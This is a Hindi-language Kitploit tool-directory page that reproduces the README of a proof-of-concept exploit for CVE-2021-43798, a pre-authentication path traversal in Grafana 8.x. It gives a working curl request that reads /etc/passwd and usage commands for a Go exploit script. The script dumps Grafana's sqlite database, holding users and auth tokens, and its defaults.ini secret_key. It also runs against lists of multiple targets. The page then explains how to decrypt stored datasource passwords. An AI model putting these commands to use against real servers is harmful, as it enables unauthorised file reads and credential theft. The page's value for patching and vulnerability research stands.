Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2021-43798 — CVE-2021-43798 - Grafana 8.x Path Traversal (प्रमाणीकरण-पूर्व) | Kitploit
उपकरण/GitHubGitHub/taythebot/cve-2021-43798
भेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणजानकारी एकत्र करनापेनिट्रेशन टेस्टिंगलर्निंग और शिक्षा
GitHubtaythebot/cve-2021-43798

CVE-2021-43798

CVE-2021-43798 - Grafana 8.x Path Traversal (प्रमाणीकरण-पूर्व)

रिपॉजिटरी देखें
41814 साल पहलेKitploit द्वारा समीक्षित

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2021-43798

Grafana 8.x पाथ ट्रैवर्सल (प्री-ऑथ)

सभी क्रेडिट j0v और उनके ट्वीट को जाते हैं https://twitter.com/j0v0x0/status/1466845212626542607

अस्वीकरण

यह केवल शैक्षिक उद्देश्यों के लिए है। मैं आपके कार्यों के लिए ज़िम्मेदार नहीं हूँ। अपने विवेक से उपयोग करें।

सद्भावना से, मैंने इस PoC को तब तक जारी करने से रोका है जब तक कि यह भेद्यता सार्वजनिक न हो जाए या पैच उपलब्ध न हो जाए।

विषय-सूची

  • Explanation - भेद्यता की व्याख्या
  • Attack Vectors - आप जो हमले कर सकते हैं उनकी सूची
  • Exploit Script - एक्सप्लॉइट स्क्रिप्ट का उपयोग

व्याख्या

मैंने j0v का ट्वीट देखा, जिसमें दावा किया गया था कि Grafana में पाथ ट्रैवर्सल बग मिला है। जिज्ञासावश, मैंने Grafana के सोर्स कोड को देखना शुरू किया। ट्वीट में उल्लेख किया गया था कि यह प्री-ऑथ बग है। Grafana में केवल कुछ ही सार्वजनिक API एंडपॉइंट हैं, और उनमें से केवल एक ने उपयोगकर्ता से फ़ाइल पथ लिया था।

Grafana में एक सार्वजनिक API एंडपॉइंट है, /public/plugins/:pluginId, जो आपको प्लगइन की एसेट्स देखने की अनुमति देता है। यह एक मान्य :pluginId प्रदान करके और फिर फ़ाइल पथ, जैसे , निर्दिष्ट करके काम करता है। हालाँकि, Grafana उपयोगकर्ता द्वारा प्रदान किए गए फ़ाइल पथ को सैनिटाइज़ करने में विफल रहता है, जिससे पाथ ट्रैवर्सल होता है।

img/logo.png

जिस डायरेक्टरी को एक्सेस किया जा रहा है वह <grafana>/public/app/plugins/panel/<pluginId> पर है। एक मानक Grafana इंस्टॉलेशन पर, Grafana डेटा डायरेक्टरी /usr/share/grafana होती है। इसलिए 8 डायरेक्टरी पीछे जाकर, आप फाइलसिस्टम रूट डायरेक्टरी तक पहुँच सकते हैं।

HTTP अनुरोध:

root@kitploit:~
GET -  http://localhost:3000/public/plugins/alertlist/../../../../../../../../etc/passwd

समस्या पैदा करने वाला कोड: https://github.com/grafana/grafana/blob/c80e7764d84d531fa56dca14d5b96cf0e7099c47/pkg/api/plugins.go#L284

नोट: यह ब्राउज़र में काम नहीं करता (जो पथ में ../ को स्वचालित रूप से समेट देता है)

इसे curl के साथ --path-as-is तर्क का उपयोग करके परीक्षण किया जा सकता है:

root@kitploit:~
curl --path-as-is http://localhost:3000/public/plugins/alertlist/../../../../../../../../etc/passwd

अटैक वेक्टर

इस भेद्यता का उपयोग करके किए जा सकने वाले कुछ हमले ये हैं:

Sqlite डेटाबेस डंप करना

Grafana, डिफ़ॉल्ट रूप से, sqlite3 डेटाबेस का उपयोग करता है। यह /var/lib/grafana/grafana.db में संग्रहीत होता है। आप इस डेटाबेस को डंप करने के लिए exploit.go स्क्रिप्ट का उपयोग कर सकते हैं।

उदाहरण:

root@kitploit:~
go run exploit.go -target http://localhost:3000 -dump-database -output grafana.db

फिर आप उपयोगकर्ताओं, प्रमाणीकरण टोकन और डेटा स्रोतों को प्राप्त करने के लिए इस डेटाबेस को पढ़ सकते हैं।

defaults.ini कॉन्फ़िग फ़ाइल डंप करना

Grafana अपना कॉन्फ़िगरेशन <grafana>/conf/defaults.ini फ़ाइल में संग्रहीत करता है। यहाँ कुछ दिलचस्प मान हैं जैसे secret_key, host, user, password, यदि sqlite3 के बजाय mysql का उपयोग कर रहे हैं।

उदाहरण:

root@kitploit:~
go run exploit.go -target http://localhost:3000 -dump-config -output defaults.ini

संदर्भ: https://grafana.com/docs/grafana/latest/administration/configuration/

डेटासोर्स पासवर्ड डिक्रिप्ट करना

Grafana defaults.ini कॉन्फ़िग फ़ाइल में secret_key का उपयोग करके सभी डेटा स्रोत पासवर्ड को AES-256-CBC के साथ एन्क्रिप्ट करता है। हम इस कॉन्फ़िग फ़ाइल को, जैसा ऊपर दिखाया गया है, डंप कर सकते हैं और फिर डेटाबेस से मानों को डिक्रिप्ट कर सकते हैं।

संदर्भ: https://grafana.com/docs/grafana/latest/administration/configuration/#secret_key

सत्र अधिग्रहण

Grafana सत्र टोकन को auth_tokens तालिका में संग्रहीत करता है। मैं किसी सत्र को अधिग्रहित नहीं कर पाया हूँ, लेकिन यदि आप सोर्स कोड पढ़ते हैं, तो आप इसे समझ सकते हैं।

एक्सप्लॉइट स्क्रिप्ट

उदाहरण

root@kitploit:~
root@localhost:/# go run exploit.go -target http://localhost:3000 -file /etc/passwd
CVE-2021-43798  - Grafana 8.x Path Traversal (Pre-Auth)
Made by Tay (https://github.com/taythebot)

[INFO] Exploiting target http://localhost:3000
[INFO] Successfully exploited target http://localhost:3000
root:x:0:0:root:/root:/bin/ash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/mail:/sbin/nologin
news:x:9:13:news:/usr/lib/news:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
man:x:13:15:man:/usr/man:/sbin/nologin
postmaster:x:14:12:postmaster:/var/mail:/sbin/nologin
cron:x:16:16:cron:/var/spool/cron:/sbin/nologin
ftp:x:21:21::/var/lib/ftp:/sbin/nologin
sshd:x:22:22:sshd:/dev/null:/sbin/nologin
at:x:25:25:at:/var/spool/cron/atjobs:/sbin/nologin
squid:x:31:31:Squid:/var/cache/squid:/sbin/nologin
xfs:x:33:33:X Font Server:/etc/X11/fs:/sbin/nologin
games:x:35:35:games:/usr/games:/sbin/nologin
cyrus:x:85:12::/usr/cyrus:/sbin/nologin
vpopmail:x:89:89::/var/vpopmail:/sbin/nologin
ntp:x:123:123:NTP:/var/empty:/sbin/nologin
smmsp:x:209:209:smmsp:/var/spool/mqueue:/sbin/nologin
guest:x:405:100:guest:/dev/null:/sbin/nologin
nobody:x:65534:65534:nobody:/:/sbin/nologin
grafana:x:472:0:Linux User,,,:/home/grafana:/sbin/nologin

एकल लक्ष्य

root@kitploit:~
go run exploit.go -target <target> -file <path>

फ़ाइल में आउटपुट

root@kitploit:~
go run exploit.go -target <target> -file <path> -output <file>

नोट: एकाधिक लक्ष्यों के साथ काम नहीं करता

एकाधिक लक्ष्य

root@kitploit:~
go run exploit.go -list <list> -file <path>

defaults.ini डंप करें

root@kitploit:~
go run exploit.go -target <target> -dump-config

sqlite3 डेटाबेस डंप करें

root@kitploit:~
go run exploit.go -target <target> -dump-database

बिल्ड

root@kitploit:~
make build
टूल डाउनलोड करें